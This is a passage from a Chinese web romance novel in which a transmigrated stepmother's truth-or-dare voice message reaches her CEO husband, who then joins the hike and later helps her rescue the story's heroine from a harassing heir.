讲道理?对方今年十五岁,是一个具备独立思考能力的高中生,已经决定的事情大概不需要她来劝诫。 何况在金苒看来,一个从小没有见过生母的孩子,想要见一面亲生母亲好像没有什么错,便是她一个后妈也觉得毫无问题……倒是她是对之前父子俩的矛盾有所猜测:“你爸说你想要旅游,是去W市吗?” 江许黎点了点头。 江明羧是W市人,直到后来和人创业才来到A市。 金苒再次沉默了下来,好一会儿才开口,却是给他分析起学习成绩:“上次月考你考了五百六十分,班级排名二十三,距离前十还有十三位的差距,你的数学和英语两门科目基本没有问题,政治和历史背诵居多,等回去后我给你一张计划表,至于语文……” 想到两人如出一辙的“抽象派诗词”,她咽下“帮你补习”的话:“今天的那位徐老师就是语文老师,学问很不错,到时候我会拜托她给你补课。” 自始至终,金苒的语气都很轻松随意,和平日里没有什么区别,好像他说的那些都是非常非常寻常的事情。 被她影响,原本还有些不自在的江许黎突然也觉得没什么大不了,望着郁郁葱葱的绿叶,心中郁气一扫而尽。 甚至还主动道:“W市有很多名胜古迹,到时候学校放假,你也可以去玩。” “好啊。” 事情发展莫名从走心聊天转到了假期旅游。 等爬到玻璃栈道的时候,两人已经聊到景区难吃又贵的“特色食物”和家里三花猫什么时候送去绝育。 关系肉眼可见的突飞猛进。 要说多好也不至于,只是对着她,江许黎不再是一副扭扭捏捏小媳妇的样子,能够正常聊天:“意思是小三花其实是陈训良的猫?” “嗯,他妈不让他养,暂时放在 我们家。” “如果他妈妈如果永远不答应,和我们家的猫有什么区别?” 江许黎认真思考:“可能多了一道免死金牌?上次看到它往我爸身上扑,我以为我爸会一脚踢飞它,结果并没有。” 但如果换成他的猫,结果就不一定了。 “噗哈哈哈。”金苒笑得前仰后合,眼角都沁出了泪花。 别墅的人都知道,江明羧有点儿洁癖,对于会掉毛的小三花避之不及,偏偏小三花又爱找他,几次金苒都看到男人能够夹死蚂蚁的眉头。 她猛地发现江明羧最大的黑粉不是竞争对手,而是亲生儿子。 不由得悠悠道:“你爸打不打我不清楚,但要让他知道你在背后造他谣,他肯定会打你。” 江许黎呼吸一滞,随即无所谓:“他在上班,不会知道。” 这样说的他,显然猜不到几个小时后自己便会见到最不想见的那个人。 / “江总,萧总,林总,预祝我们合作愉快,之后丘平山的开发就仰仗各位了。” 负责人满脸堆笑,谈好合作,众人移步饭局。 一行人中,萧总和林总年纪大,方才的登山考察已经耗去他们大半精力,此刻两人坐在观景台的石凳上,商量着改乘缆车下山的计划。 这时,王特助走到江明羧的身边,低声汇报:“江总,我刚才在山腰处遇见了简家那位私生子,对方陪着一个小明星过来拍外景。” 之前江总让自己调查太太时,里面便有简家那位的身影,所以一看到对方王特助就过来汇报了。 闻言,江明羧面色不改。 待两位老总过来,他从容不迫同两位老总交谈:“听说江总这段时间都不参加酒席,不知道今日我们两个老头子有没有荣幸约到江总啊?” 江明羧却是想起早上金苒告知自己和朋友出门玩,晚上不回家吃饭,笑了笑:“萧总和林总说笑了,正好我也有些事情想和二位探讨一下,不如一起走吧。” / 站在透明的玻璃栈道上,脚下是深邃的山谷,远眺群山,层峦叠嶂的轮廓在树丛中若隐若现,宛如一幅泼墨山水丹青。 大家倚着栏杆,欣赏着一览无余的美景,时间在这一刻仿佛被无限拉长,不知是谁先主动躺到地上,其他人干脆铺开野餐垫,各自拿出随身携带的便当吃食,就地野餐。 见状,王琛举手提议:“只坐着聊天多无聊,不如我们来玩游戏吧!” “行啊,玩什么游戏?” “真心话大冒险怎么样?” 众人立刻发出一声长长的“嗤”,还真是万年老掉牙的没有新意,徐珍却是眼睛眨了眨,积极拥簇表哥的提议,金苒属于可玩可不玩的类型,最后五比四通过游戏提议。 嘴上嫌弃,真正开始后,又一个比一个激动。 王琛笑呵呵道:“咱们这可还是有未成年学生呢,大家都悠着点哈。” 闻言,江许黎很是无所谓,他虽然没有玩过,但却知道这个无聊的老古董游戏。 结果无所谓的他倒霉的拿到了第一张小丑牌。 “哈哈哈哈哈,来来来,快来问我们的高中生!” “不能太过分,但也不能太简单!” “我来我来!”徐珍立刻举手,笑得揶揄又促狭,“小江同学,请问你在学校有没有早恋啊?” 话音刚落,周围便爆发出一阵善意的哄笑,被众人围在中间的江许黎表情一僵,随后一股热流从脖颈直窜上耳尖。 少年人面对这种话题总是格外敏感,即便他确实没有恋爱经历,此刻也被问得绷紧了下颚线。 更让他头皮发麻的是,下一秒,金苒也好奇地望过来……【你现在阅读的是 】 40-50 第41章 第41章“我喜欢你” 江许黎精神一凛,几乎脱口而出:“没有!” “啊?真的吗?不能说谎哦。” “没有说谎。” 徐珍不死心:“那应该有很多女生追你吧?放心,咱们这是在玩游戏,你家金老师不会出卖你的。” 金苒目光炯炯:“嗯嗯,我绝不出卖。” 江许黎:“……” 吐槽亲爹建立起来的革命友谊不堪一击,在八卦面前轻轻一碰就碎成了渣,江许黎觉得牙齿有点儿痒,冷漠驳斥:“这是第二个问题。” 而真心话大冒险只需要回答第一个问题。 意识到此,听不见后续的金苒和徐珍遗憾地叹了口气。 很快,第二轮游戏开始。 大家都有点儿紧张,纸牌在手中如烫手山芋,飞快接过又飞快递出,负责叫停的女生刚敲响石头,江许黎已经眼疾手快塞到下一个人手中。 王琛拿着小丑牌一脸茫然。 见状,徐珍哈哈大笑,王琛这才反应过来,也跟着无奈地摇头失笑,很是好脾气的样子:“我选择真心话,希望各位高抬贵手,嘴下留情。” 提问的还是徐珍,因为大家觉得她问的问题犀利直白:“上次舅妈催你相亲你死活不去,该不会…是心里早就有人了吧?” 竟然如此劲爆?!众人感兴趣竖起耳朵。 王琛脸色有点儿红,下意识往金苒那儿看去,又飞快地收回,然后大方承认道:“嗯,我有喜欢的人。” 阳光开朗的大男生,难得害羞起来,惹得又是一阵起哄。 “哇哦~” “可以啊小琛子,平时装得一本正经,没想到心里早就有人了。” 目睹这一切江许黎心中冷笑,他就说这人有问题,转头瞥见金苒还浑然不觉地跟着大家一起笑,他太阳穴忍不住突突直跳,顿觉一阵头疼。 徐珍心满意足试探出自家表哥的心思。 她就说表哥一个死宅,什么时候这么热情了,又是帮忙内推教师工作,又是组织爬山活动,果然别有用心。 不过像苒苒这样漂亮聪明的女孩子,她如果是男生也会喜欢的,看着不远处金苒精致的侧脸,又瞄了眼自家勉强称得上“一表人才”的表哥,徐珍暗自盘算起来,要是能促成这段姻缘,她和金苒就是亲上加亲了! 越想越兴奋,她迫不及待地催促道:“来来来,继续下一轮!” 可气人的是,接下来的金苒仿佛有幸运加持,接连几轮都完美躲过去。 反倒是江许黎多次中招,最后连“最喜欢哪个老师”、“哪个类型的女生会让你移不开目光”等问题都被迫回答了一遍。 当然他的答案是“都可以”“不存在移不开,我眼睛没有病变”。 终于在第六轮,小丑纸牌落到了金苒手中。 看到这一画面,江许黎终于松了口气,死队友不死贫道,他唇角勾起一抹幸灾乐祸的弧度,好整以暇往嘴里塞了一个寿司,等着看金苒被问到手足无措的模样。 反观队伍里其他人,却是蠢蠢欲动。 金苒并不是爬山俱乐部的成员,大家对她知之甚少,偏偏人漂亮又聪明,惹得不少单身男青年们芳心暗许。 徐珍摩拳擦掌,正准备开口,忽然听到金苒笑着说:“我选择大冒险。” 她早就在心里盘算好了——以徐珍的性格,若是选择真心话,必定会被追问些令人面红耳赤的私密问题,金苒倒是玩得起,但偏偏现场还有一个她的“便宜儿子”,在晚辈面前,她多少还是要保持住长辈的形象。 除此之外,她提前观察过四周,没有其他游客,而她和俱乐部的其他老师又不熟悉,想必不会有人刻意刁难,两者比较下来,还是大冒险更为稳妥。 闻言,大家都有些遗憾,徐珍更是长长“哎”了声,显然没有想到她会选择大冒险。 好在眼睛转了转,当即想出了新的损招:“那就给微信聊天列表里最新联系的人发条语音,置顶除外!” “这个好!” “不过要发什么消息好呢?” “大冒险大冒险,肯定要发点儿算冒险的内容才行。” 徐珍狡黠地笑了笑,故意拖长声调:“唔,不如直接发‘我喜欢你’吧!” 早上出发时,她拿着表 哥的手机给金苒打过一通微信电话,如果没有意外,这条语音会发给表哥。 两人一个是她的亲表哥,一个是她的好朋友,她虽然想要撮合二人,但同样重视金苒的想法。 要是金苒也对表哥有意思,这条告白语音就是最好的催化剂;如果没那个意思,反正是在玩游戏,大家哈哈一笑就过去了,谁都不会当真。 徐珍觉得自己考虑得很是周全。 却没有注意到,听到大冒险内容的金苒笑容有一瞬间的僵住。 徐珍想的很完美,但她唯独没有想到的是,金苒在接完她的电话后,又给江明羧发了一条信息。 因为这段时间三个人经常一起吃饭,她想着晚上不一定能及时赶回家,怕江明羧久等,便提前说在外面吃。 山里刮起一阵暖风,枝头的鸟雀被惊动,振翅四处飞散。 金苒盯着蔚蓝色的深海头像犹豫了好一会儿,最终还是壮士断腕地按下语音键,当着所有人灼灼的目光,给对面发了一条语音。 松开指尖的一瞬,手机响起“嗖”的音效,提示着消息的发送成功。 另一边,江明羧和丘平山项目的众人在包厢中用餐,男人扎堆的场合,烟酒自然是少不了的,包厢里烟雾缭绕,酒气熏天,他面上不动声色,心里却有些不耐。 就在这时,手机震动了一下,是金苒发来的消息。 江明羧没多想,顺手点开了语音。 下一秒,一个清甜明亮的女声出现在包厢里。 “…我喜欢你。” 几乎是刹那间,周围嘈杂的聊天戛然而止,整个包厢仿佛被按下了静音键,原本高谈阔论的几个老总张着嘴,却没有动静发出来,事实证明,吃瓜是人类的天性,连这些外界眼中严肃古板的老总也不例外,所有人的目光都不约而同地投向了江明羧。 后者反应极快,立刻按灭手机屏幕,他从座位上站起来,尽管椅子腿在地上划出几丝的动静,他的姿态依然从容镇定:“抱歉,内人找我有些事情,先出去一下。” 说罢转身离开。 剩下几位老总面面相觑,过了会儿,萧总先咳了咳,笑着打趣:“怪不得江总最近总推掉我们的酒局,原来是家里有人等着呢。” 其他人立刻会意,纷纷捧场:“江总年轻有为,又是新婚燕尔,这样的情况我们都能理解。” “早就听说江太太温柔贤惠,两人恩爱得很,今天一见才知道是真的。” “像咱们这样在外应酬的人,家里能有个人惦记着,才是真正的好福气。” 唯独林总哼了声,很是看不惯地摇了摇头:“还是太年轻,分不清轻重啊,男人最重要的是事业,哪里能被儿女情长所牵绊,等以后发达了,想要什么要的女人没有!” 萧总却心想,人家年纪轻轻就比你厉害,还要往哪里发达?再说方才江太太那语音虽然只有短短的一小段,已经能够娇的滴出蜜来,搁哪个男人身上能忍得住? 他要是江明羧,恨不得把整片星空都捧来讨佳人欢心! 从包厢里出来后,江明羧抬步走到窗边,窗囿大开,外面正对着一片繁茂香樟林,深绿郁郁葱葱,带着夏末微凉的草木气息扑面而来,将他身上沾染的烟酒味一点点吹散。 他打开聊天框,除了刚才的语音,并没有其他消息。 江明羧垂眸,长睫在屏幕光里投下浅淡的阴影,他点燃一支烟咬在唇间,重新点开那条语音。 “我喜欢你。” 金苒的音色很特别。 她本人长相清纯甜美,说起话来却是有点儿明快,让人一听便知道这是个开朗的姑娘,大概是靠得有些近,还能听到摩擦的呼吸,像夏日的风,即便连绵不断也带着潮湿的热意,刻意压低时,无端让人听着有点儿娇。 他猛地吸一口烟,再松懈下来时,嘴中吐出的白雾遮挡住了表情,随后他把电话拨了过去。 玻璃栈道,金苒在发完语音后,脸颊便有些控制不住发烫。 赶紧将矿泉水贴到脸上,强装着镇定:“好了好了,我完成了,开始下一轮吧。” 而对面的徐珍,在发现自家表哥手机没有响起来时,便知道中间出现了差错。 她有些遗憾,不过很快这点小遗憾转瞬即逝,她可没有忘记现在正在玩游戏:“哎呀别着急,先等等对面怎么回复。” “有什么好等的。” “嘿嘿,我可是看到头像了,一片海洋,看着像男生哎。” 金苒瞪了一眼徐珍:“好啊,等会儿别让我抓到你的把柄。” “哈哈哈。” 金苒只能在心底期待江明羧忙于工作,看不到消息。 可这次老天爷没有再站到她这边。 看到熟悉的头像跳出来的那一刻,金苒胸膛里心跳倏地错乱一拍,不知不觉中脸色更红了:“喂?” 嗓音轻轻的。 电话那端的声音听着倒是和平时没有区别:“不是说和朋友去玩了吗,打赌输了?” 不愧是大佬,居然一猜就猜对了,金苒忍不住长长松了口气,脸上的红晕也消散了点儿,她笑起来:“对啊,一不小心就输掉了,他们让我给最新的联系人发告白语音。” 江明羧“嗯”了声:“在哪玩?” “我们现在在山上呢,这里有个玻璃栈道,能俯瞰到A市的一半风景,特别好看。” 那边似乎顿了顿,然后问:“是丘平山的玻璃栈道?” “对啊。”金苒点点头,结果紧接着便听到江明羧说,“正好,我今天在这边考察工作。” 这么巧? 直到电话挂断,金苒都有些没有反应过来,看到周围一个个“八卦”的眼神,无奈道:“他在附近,等会儿大概会过来一下,你们没意见吧?” “没意见没意见,多一个人更好玩。” “就是啊,新人欺负起来才有意思!” “哈哈哈,说好了,到时候我们可不放过他!” 俱乐部的众人都没有意见,直到十五分钟后,他们看到一个高大帅气的男人步履从容地从缆车那边下来。 第42章 第42章他好像有点儿不高兴 其实从江明羧一出现,大家就注意到了他。 原因无他,男人的外貌实在有些出众,鼻梁高挺,五官深邃,下颚如刀刻般锋利立体。 他年龄大概在三十岁上下,容貌舒展中呈现出俊美,身材也格外高大,肩膀宽阔,腰窄腿长,大夏天,他穿着一件得体的白色衬衫,袖口往上挽起两层,性.张.力十足。 见到来人,江许黎吓得将刚刚塞进嘴里的食物囫囵着吞进嗓子,结果不小心呛到,弯着腰咳嗽起来,金苒无语地递过去一杯矿泉水,而后从野餐垫上站起来,脚步轻快地迎过去。 “你怎么这么快啊?”她有些惊讶,自己当时可是爬了两个小时呢。 江明羧低头看她:“坐缆车,比较快。” 而后又转向拘谨坐在那儿的众人,目光在仍在咳嗽的江许黎身上停留片刻,彬彬有礼地颔首:“你们好,我姓江,是金苒的先生。” 众人:??? 先生?是他们想的那个先生吗? 徐珍愣了,王琛更是直接傻眼了,因为金苒从来没有提过自己有男朋友,而且每个周末都在备考教师编,所以他们一直默认金苒是单身状态,更不用说英年早婚了。 听到男人表明身份的那一刻,王琛手里的矿泉水没有拿住,直接落到了地上。 他的反应太过剧烈,江明羧侧头看了过去,金苒便笑着介绍:“这位是我们学校的王老师,当时就是他帮我内推的。” 江明羧朝着王琛点了点头,后者僵硬地扯动嘴角,尽量让自己显得正常点:“大家让一让,给这位……江先生空个位置。” 无人注意的地方,江许黎默默地往角落里挪动,他才不要和他爸坐一块儿。 金苒谢过大家,而后自然而然拉着江明羧坐在自己身旁。 空气中弥漫着微妙的凝 滞,气氛有些尴尬,连徐珍都没敢轻易开口,毕竟金苒老公那周身威严的气质,看着便和他们这些整日待在学校的老师不一样。 而且不知是不是错觉,她总觉得对方有点儿眼熟。 反倒是江明羧伸手拾起地上的纸牌,挽起的衣袖抻着往上,露出青筋纵横的手腕,和腕上戴着的一枚银黑色机械手表。 俱乐部有些男老师注意到那枚手表,微微一愣。 随即又摇了摇头,觉得大概是假的,毕竟真的表价值高达八位数,而且有市无价,不是普通人能够买得到的。 虽然金苒的老公衣着得体,气质出众,但金苒只是个中学老师,想必她的老公也是个做生意的小老板吧。 “听金老师说你们在玩游戏,不知道玩的什么?” 江明羧主动开口。 他递了台阶,大家也在短暂的沉默后,顺着往下走:“玩的真心话大冒险。” “对啊,刚才那一局输的正好是金老师。” 得知金苒已婚后,热情的王琛就有些沉默下来,这会儿听到大家的话,他突然抬起头邀请:“江先生要不要一起玩?” 说这话的时候,他目光直直看着江明羧,那双眸子里似乎压抑着某种不甘心。 可他什么也不能做,他没有身份,没有理由,人家夫妻两人情投意合,金苒也从未对自己表现过那种意思,一切只是他的一厢情愿。 所以只能通过这样无聊幼稚的行为,来表达自己的不满。 江明羧回视过去,从容淡定的样子让人王琛不由得握紧拳头。 “可以。” 男人点头答应。 徐珍干咳几声,举起手:“那我来做裁判吧。” 没有人异议,之前的女同学便同徐珍交换位置,代替她加入游戏。 等坐在第三视角的位置,徐珍才缓缓从“平日一起吃饭的小姐妹已经结婚”的震惊中回过神。 目光看看这个,看看那个,一双眼睛冒着强光,八卦之魂几乎要抑制不住。 和王琛的耿耿于怀不同,徐珍倒是很快就调整好心态,毕竟一开始她只是想撮合自家表哥和金苒,既然得知金苒已婚,这个红线自然不用再牵。 她开始有闲心偷偷打量起这个有点眼熟的男人。 越是观察,越觉得自己当初的想法简直离谱——如金苒精致又漂亮的美人,就得配这般高大帅气,仪表堂堂的大帅比。 这会儿,两人胳膊挨着胳膊,姿态亲昵和谐,仿佛天造地设的一对神仙眷侣,不知金苒说了什么,江明羧微微侧首,目光专注而热切,桃花眼中的深情几乎要将人溺毙其中。 啊啊啊! 绝配!好饭!吃吃! 徐珍内心狂叫,看到两个人站在一起,她甚至然觉得原本还算小帅的表哥变得有点儿丑,嗯,碍眼极了。 人群中,金苒颇为紧张。 她拉了拉江明羧:“如果等会儿正好敲响石头,你不能把牌传给我!” 江明羧:“嗯?为什么?” “我不想要。” 江明羧看向她下首的江许黎:“你可以给小黎。” 听到他爸念叨他的名字,江许黎立刻警惕起来:“别想坑我,我才不要。” 金苒一副“孩子大了不听话”的表情,开始无理取闹:“哎呀,你就说答不答应吧。” 江明羧眼底划过一丝笑意:“行吧。” ——有时候,误会就是这样产生的~ 在徐珍的暗箱操作,以及某人的威逼利诱下,纸牌最终停在了江明羧手中。 见状,金苒笑得眉眼弯弯,她立刻递给江许黎一个眼神,本意是让少年有什么疑问赶紧问,却不想王琛先一步开口:“江先生喜欢金老师吗?” 听到这个问题,众人先是愣了愣,反应过来后顿时有些不满:“老王,你不会问问题就别问。” “就是,白白浪费一次机会,江先生是金老师的丈夫,怎么可能不喜欢金老师。” 无论旁人说什么,王琛却固执地看着江明羧。 他听说不少富人表面正经,实际私下玩得很花,若这里面存在隐情,他……是不是还有机会? 闻言,江明羧似笑非笑。 男人往往比女人更了解男人,那是一种同性相斥的本能领地意识,哪怕今天是第一次见面,他也察觉到了王琛的心思。 意识到此,男人嘴角勾起弧度。 若有熟悉人的在场,一定会发现江明羧此刻的怒火,那双黝黑的眸底,充斥散不尽的着戾气。 在王琛期待的目光中,他慢条斯理地开口,所说的内容却是无情摧毁少男那可怜的奢望:“我自然喜欢我的太太,怎么,难道你觉得我太太不值得被喜欢?” 王琛一噎,这个问题承认也不行,否认也不行,僵硬道:“我不是那个意思……” “我太太聪慧过人,能娶到她,是我上辈子修来的福气,我想如果不是我太太的意愿,我不会和她离婚。” 金苒被夸的脸都红了,即便知道江明羧是在做戏,还是不免翘起嘴角。 哎呀,她就是这么优秀啦。 王琛脸色惨白:“抱歉,是我失言……” 一旁的徐珍见情况不对,连忙站出来岔开话题,这才没有让这场闹剧再继续演下去。 日落西山,俱乐部的爬山活动圆满结束。 金苒提前和朋友们告辞,一家三口坐缆车下山。 缆车缓缓滑过山谷,透过玻璃窗,窥见层峦叠翠的山峰被夕阳镀上金边,群鸟于谷底徘徊。 江许黎一上缆车便拿出手机打游戏,金苒和江明羧并肩而坐,目光不约而同望着窗外的风景,只是空间狭小,两人之间的距离难免有些近,近得她能闻到他身上淡淡的烟草气味。 金苒知道江明羧抽烟,却很少见对方抽,此刻萦绕在鼻尖的烟草味并不似老烟枪那般浓烈呛人,反而掺着几分雪松的清冽,干净性.感。 可即便如此,她还是敏锐地察觉到男人的低气压,他好像有点儿不高兴,修长的手指无意识地轻叩膝盖,薄唇紧紧抿着。 为什么,因为刚才的游戏吗? 金苒回想了一番,没有发现什么问题,王琛问的问题虽然有些意外,但总感觉江明羧这样的人不会因为一个问题而生气。 既然想不通,索性不再纠结,她顺着他的目光望向窗外——登山虽是个漫长的过程,但登顶后“一览众山小”的壮阔,足以抵消所有疲惫。 模糊的倒影与葱郁山色交融,绘成一幅流动的画卷:“怎么突然想爬山?” 这时候,身边的人突然问。 金苒回过神:“不算是突然吧,是王琛邀请的,徐珍想来,我就陪她一起了,然后见小黎一个人在家,索性把他也带来了。” 她倒是突然想起他说自己来这里是工作的:“对了,耽误这么久,会不会影响你的工作啊?” 江明羧:“不用担心,工作已经谈完了,剩下的只是饭局。” 他既然能够出来,肯定是已经同其他人说好。 金苒心中了然,又问:“那我们要回去吗?” 爬了一天的山,饶是她精力充沛,这会儿也有点儿累了,只想赶快回到别墅,泡一个玫瑰花瓣的热水澡,扑到自己两米五的大床上躺尸。 江明羧这次点了点头:“王助理在山下,到时候我们直接回去。” 行至山脚处,江明羧打电话让王特助把车子开过来,三人准备在路旁的长椅稍作休息,没想到却意外撞见一场闹剧。 “雅雅,我是真心的!”男人带着醉意的声音格外刺耳。 只见另外一条小径上,一男一女正背对着山路拉扯,两人沉浸在争吵中,丝毫没有注意到现场还有其他人。 江明羧脚步蓦地一顿,下意识看向金苒。 后者却是神色如常,只在听到女生再三拒绝而男子仍不依不饶时,忍不住蹙眉:“什么人啊,大庭广众下,这和耍流氓有什么区别,小黎,你以后可不能和他学。” 江许黎:“……是什么让你觉得我会这样?” 金苒眨眨眼:“哦,我随便说的。” “……” 听到两人的玩笑打闹,江明羧紧 绷的神态变得松弛,过了会儿,忽然笑起来。 这一笑,仿佛春风化雪,周身漂浮的低气压瞬间消弭于无形,他抬手松了松领带,眼底闪过一丝意味深长。 “那是你之前的前男友。” 他看着她,好心解释道。 第43章 第43章这才是爱情的模样吧……??? 金苒一脸懵。 她抬头看向江明羧,却发现对方眉眼舒展,表情认真,不像是在说谎的样子。 “你说他是……” “是之前金苒的男朋友。”江明羧“好脾气”地重复了一遍。 金苒注意到了,他用的是“之前的金苒”。 心思动了动,一瞬间似乎有所明悟,金苒强忍着砰砰乱跳的心脏,也跟着若无其事地点点头:“那我之前的眼光可真差。” “嗯?” 江明羧似乎有些兴趣,还和她探讨起来,虽然他打心底瞧不上这些没本事的富二代,但嘴上却违心地夸赞,“简家做电商起家,比不上如今的两大龙头企业,不过在其他方面还算不错,听说简总有意将产业交到简二手上,许多人都很看好这位小简总。” 金苒略微诧异地看了男人一眼,没想到他这样白手起家的人,居然也会羡慕啃爹的富二代,摇摇头:“不是,我是说他长得丑。” 越看,她越是对原身的审美有点儿不忍直视:“像鞋拔子。” 江明羧设想过无数种回答,唯独没料到会是这么直白的嫌弃,他愣了一瞬,反应过来脸上的笑意更加深了点儿。 倒是苦了江许黎,他爸和后妈就这样旁若无人的当着他的面谈论前男友什么的,真的合适吗? 心里疯狂吐槽,现实中,少年装作不经意往对面瞥了一眼,然后想:嗯,是挺像鞋拔子的。 以前的金苒喜欢这一款? 想起周末她在家里看选秀综艺,对着小鲜肉们评头论足的样子,他就有些想笑。 都说谈一个丑男,再内向的人也会变成话痨。因为你需要不停向其他人解释丑男的优点,以此证明自己不是什么恋.丑.癖。 金苒就倒霉地背负了原身的苦果:“咳,每个人都有年少轻狂的时候,现在我的审美已经变高级了,以前喜欢的东西现在都不喜欢,而且我觉得,你长得可比他帅多了。” 顺道拍一下大佬马屁。 江明羧挑眉:“是吗?平日倒是没有听过别人夸我长得好看。” “那是因为你是公司总裁。”金苒不假思索地接话,“外貌只是你最不起眼的一个优点,而且即便员工们觉得你长得帅,估计也不敢到你面前夸你。” 说着说着,她突然意识到自己似乎太直白了,脸颊微微发热,赶紧又补充道:“我的意思是,你身上有一种很独特的气场,一般人不敢轻易靠近。” “什么气场?” “一看就有钱的气场。” 闻言,江明羧终于忍不住笑起来。 被迫着又听了一耳朵的江许黎:“……” 要不然先放他走吧。 不知不觉中,紧张的场面轻易化解,正当看完戏的一家三口准备离开,小山路上争吵的两个人突然转过身…… 魏雅又气又慌。 今天早上她接到公司临时安排的户外广告拍摄,还以为是上次角色被抢的补偿,没有多想便满心欣喜地赶过来,却在现场看到了之前一直纠缠她的富二代。 她这才明白所谓的工作机会,不过是富二代和经纪人联手设的局,用广告资源做交换,想让她乖乖就范。 魏雅当然不愿意,可以她现在的地位,还不敢和经纪人闹掰,只能被迫接受对方的安排。 拍摄过程中,魏雅强忍着厌恶配合每一个镜头,然后趁着收工的混乱,偷偷溜走。 结果还是被富二代发现,两人在路上拉扯起来。 男人的力气比女人要大的多,魏雅惊恐发现自己怎么也逃脱不了,她也不是没想着和路人求助,可其他人只以为是小情侣吵架,根本不愿意插手。 就在绝望之际,她看到了一个熟悉的背影。 几乎下意识地,魏雅朝着要离开的女人喊道:“江太太!” / 起初,金苒并没有认出女主。 从他们站的角度,和简二过于隐晦的动作,第一眼的确很像是小情侣之间口头矛盾。 这让她没有贸然插.手。 结果刚准备离开就听到有人喊她的名字,转过身发现小情侣的其中一方是魏雅,而且女主还一脸惊慌朝自己跑来时,她便感觉不对劲了。 怎么回事,她这是遇到了女主和男配的火葬场现场? 原书中男配众多,但并非所有的男配都是良缘,有打打闹闹的欢喜冤家,有只是默默守护的温柔兄长,自然也有强取豪夺的法制咖。 眼前这个一脸鞋拔子长相的男配,显然走的是最后一条路线。 金苒忍不住吐槽,作者你怎么回事啊,美女被帅哥纠缠那是情.趣,被鞋拔子芒果纠缠那分明是骚扰啊。 等魏雅跑到金苒面前时,才意识到自己举动的不妥。 富二代家族势力不小,虽然金苒是江太太,但谁知道江明羧愿不愿意为这种事出面?更何况金苒只是个中学老师,说不定在江家也需要仰仗着丈夫生活,万一因为自己影响夫妻两人的感情,她宁愿不开口。 心中如同浇了一盆凉水,一片凄凉,正当魏雅准备放弃求救的时候,面前的金苒已经惊喜地握住她的手:“雅雅,你也在这里啊,好巧!” 她顿了顿,被泪水浸染的倔强眸子就这样落入了一片暖阳中。 另一边,简二也看到了金苒。 一瞬间,被刻意遗忘的耻辱记忆突然翻涌而上——当初这女人不仅莫名其妙甩了他,还讥讽他是“一辈子没出息的孬货”。 虽然他和她只是随便玩玩,虽然分手后简二很快就找到了自己的真爱——和他有着相似童年经历的魏雅,但那份羞辱却始终如鲠在喉。 作为简家唯一的血脉,私生子的身份曾经让简二生活难堪,但因为简总只有他一个儿子,最后他还是认祖归宗,并且在不久的将来,整个简氏集团都会是他的囊中之物。 所以他实在不明白,一个只会挥霍的拜金女,凭什么用轻蔑的眼神看他? 越想越是愤怒,简二的面容逐渐扭曲,正要上前教训两人,一道低沉的声音突然插入:“简常凡。” 江明羧走到金苒身前,有意无意正好挡住简二的视线。 那双方才还含着笑的眼眸此刻变得冷若冰霜,连声音都带着冷厉:“听说简氏正在争取城西新区的项目,不知道简总知不知道他看好的项目负责人不仅没有去城西,反而跑来城东爬山?” 闻言,简二整个人僵硬在原地。 他虽然是简总唯一继承人,但没有拿到实权前还要仰仗亲爹简总,想要说的狠话一句也没有说出口,最后只能眼睁睁看着金苒带着魏雅坐上了路边的豪车。 自始至终,金苒都没有分给他一丝眼神。 / “江太太,谢谢你帮我解围。” 魏雅拘谨地表示感谢,她没想到金苒会帮助自己,这让她做梦似的恍惚,心里也有点儿感动的酸涩。 金苒自然看出魏雅情绪低落。 任谁被那样纠缠都会难受,何况女主本身就是个性格温柔的人,从不与人争执红脸,如果不是被男配逼到绝境,肯定不会主动寻求帮助。 她也纠结过自己是否该插手。 可那种情况下,哪怕对方不是女主,只是一个普通的路人女生,金苒也无法做到无视。 “哎呀,说什么谢不谢的,”所以她摆摆手,一副很随意的样子,“我单纯看不惯鞋拔子,还有叫我金苒就好了,江太太听起来怪怪的。” 魏雅有些没有反应过来,语气迟疑:“鞋拔子?” “哦,就是纠缠你的那一个人,你不觉得他长得很像鞋拔子吗?” 在简二不知情的情况下,金苒孜 孜不倦帮他宣传另外一种形象,以至于后来再见面,魏雅一看到那张脸就想起金苒的形容,压抑在内心的恐惧逐渐被另外一种情绪取代。 这会儿,听着金苒欢快的语气,魏雅紧绷的心情逐渐放松下来。 “是有点像。” 她点头。 金苒便笑起来,等到江明羧走过来,像往常一样想要打开后车门的时候,发现没有打开。 紧接着,金苒落下车窗,只见她亲昵地挽着魏雅的手臂,指使他道:“你和小黎去前面,我今天要和美女坐一起。” 江明羧眉头微挑,下一瞬间,看到金苒偷偷冲他眨了眨眼,便明白过来她是怕魏雅还没有从刚才的恐惧中走出来:“好,都听你的。” 不过离开前却是先拿个两条羊绒毯过来,又细心调高了空调温度,将出风口转向外侧,确保不会直吹到她们:“别着凉。” 金苒若无其事收回伸向冰箱的手,觉得这男人就是故意的,瞪他一眼:“知道了,快走快走!” 一旁的魏雅怔怔地看着这一幕。 心里忍不住想,或许这才是爱情的模样吧。 后半程,谁都没有提及山上发生的事情。 金苒和魏雅聊起其他,看到魏雅新发布的古典舞视频,惊喜赞扬:“我就说你跳古典舞会好看!” 魏雅脸色微红,手下意识绞着衣摆:“只是随便跳跳,没什么水花。” “谁说的。”金苒安慰她,“你才刚学跳舞就能跳到这种程度,说明是有天赋的,而且什么事情都有起步阶段,说不定哪天就有导演看到你拍的视频,觉得你特别适合某个角色,找你拍戏呢。” 说到这里,她突然想起什么,抬头问前排的江明羧:“明技会找明星代言吗?你看魏雅怎么样?” 闻言,魏雅心头一跳,连忙摆手:“不用不用,我现在人气不够,会影响产品形象……” 她声音越来越小,既怕自己不够格,又担心金苒这样贸然提议会让江总不快。 金苒心里根本没有想那么多。 在她认知里,这是女主,不管前期多么惨多么落魄,最后都会走上人生事业巅峰。 以前是她想错了,只一味远离,现在突然意识到,她又不和女主抢男人,为什么要害怕呢? 两人属于截然不同的两个赛道,所以她完全可以抱女主的大腿啊! 比如投资女主参演的电视剧,和女主成为好朋友之类的。 金苒:“除了代言,或者还有其他合作?” 江明羧沉吟片刻:“代言是公司公关部负责,我不太过问。” 闻言,金苒有些遗憾,见她这副样子,江明羧便道:“不过我认识一个导演叫陈铎,脾气比较古怪,他最近在筹划一部仙侠剧,如果魏小姐感兴趣,可以去试试。” 听到导演的名字,魏雅险些维持不住镇定:“您说的是拍摄《曾欲酒》的陈导演吗?” “对。” 不了解娱乐圈的金苒眨了眨眼,有些疑惑:“这个陈导演很厉害吗?” 魏雅难得失态:“很厉害!” 